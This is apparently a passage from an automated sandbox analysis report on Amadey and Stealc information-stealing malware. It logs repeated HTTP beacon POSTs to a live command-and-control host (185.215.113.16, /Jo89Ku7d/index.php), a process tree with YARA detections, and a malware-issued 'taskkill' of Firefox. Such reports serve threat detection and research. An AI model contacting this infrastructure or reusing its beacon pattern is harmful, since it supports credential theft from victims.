Nov 12, 2024 05:03:56.259356976 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	50054	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:56.381383896 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:57.279124022 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:57.279949903 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:57.561880112 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	50055	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:57.737689972 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:58.645210981 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:58.648051023 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:58.935496092 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	50060	34.107.221.82	80	6848	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:59.059489012 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 12, 2024 05:03:59.686496019 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 11 Nov 2024 13:58:33 GMT Age: 50726 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	50061	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:59.063909054 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:59.989126921 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:59.990839958 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:04:00.278211117 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:04:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	50069	34.107.221.82	80	6848	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:04:00.445810080 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 12, 2024 05:04:01.041610003 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 11 Nov 2024 16:48:08 GMT Age: 40552 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 12, 2024 05:04:01.420350075 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 12, 2024 05:04:01.546597004 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 11 Nov 2024 16:48:08 GMT Age: 40553 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 12, 2024 05:04:11.563596964 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 12, 2024 05:04:21.584976912 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 12, 2024 05:04:31.617058039 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 12, 2024 05:04:41.650099039 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	50070	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:04:00.479548931 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:04:01.381500959 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:04:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:04:01.382697105 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:04:01.665309906 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:04:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	50071	34.107.221.82	80	6848	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:04:00.588221073 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 12, 2024 05:04:01.184995890 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 11 Nov 2024 13:58:33 GMT Age: 50728 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 12, 2024 05:04:03.626509905 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 12, 2024 05:04:03.751111031 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 11 Nov 2024 13:58:33 GMT Age: 50730 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 12, 2024 05:04:13.764786005 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 12, 2024 05:04:23.787463903 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 12, 2024 05:04:33.794450998 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 12, 2024 05:04:43.817981958 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	50074	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:04:01.787560940 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:04:02.717782974 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:04:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:04:02.718578100 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:04:03.012109995 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:04:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	50075	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:04:03.136727095 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:04:04.070352077 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:04:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:04:04.073402882 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:04:04.363337040 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:04:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	50076	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:04:04.475478888 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:04:05.381524086 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:04:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	50077	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:04:05.464930058 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:04:06.369461060 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:04:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	50078	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:04:06.488418102 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:04:07.401297092 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:04:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Target ID:	0
Start time:	23:02:00
Start date:	11/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xfd0000
File size:	1'937'408 bytes
MD5 hash:	B58725B0A514974AAE36A20730ADC4B3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2038538990.0000000005300000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2078807480.0000000000FD1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:02:03
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Imagebase:	0x9d0000
File size:	1'937'408 bytes
MD5 hash:	B58725B0A514974AAE36A20730ADC4B3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2065985660.0000000004940000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2106923649.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:02:04
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0x9d0000
File size:	1'937'408 bytes
MD5 hash:	B58725B0A514974AAE36A20730ADC4B3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2072225020.00000000051D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2112575730.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	23:03:00
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0x9d0000
File size:	1'937'408 bytes
MD5 hash:	B58725B0A514974AAE36A20730ADC4B3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2634377823.00000000051B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	23:03:05
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe"
Imagebase:	0x6c0000
File size:	1'834'496 bytes
MD5 hash:	59B3273D9D5C8F80B5CFE9E160188073
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000007.00000003.2679501298.0000000005070000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000007.00000002.2737464357.00000000006C1000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000007.00000002.2739218915.00000000011AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:03:08
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe"
Imagebase:	0x8e0000
File size:	919'552 bytes
MD5 hash:	530C8D510535E62FD422303538B7DCF4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	23:03:08
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xf0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	23:03:08
Start date:	11/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
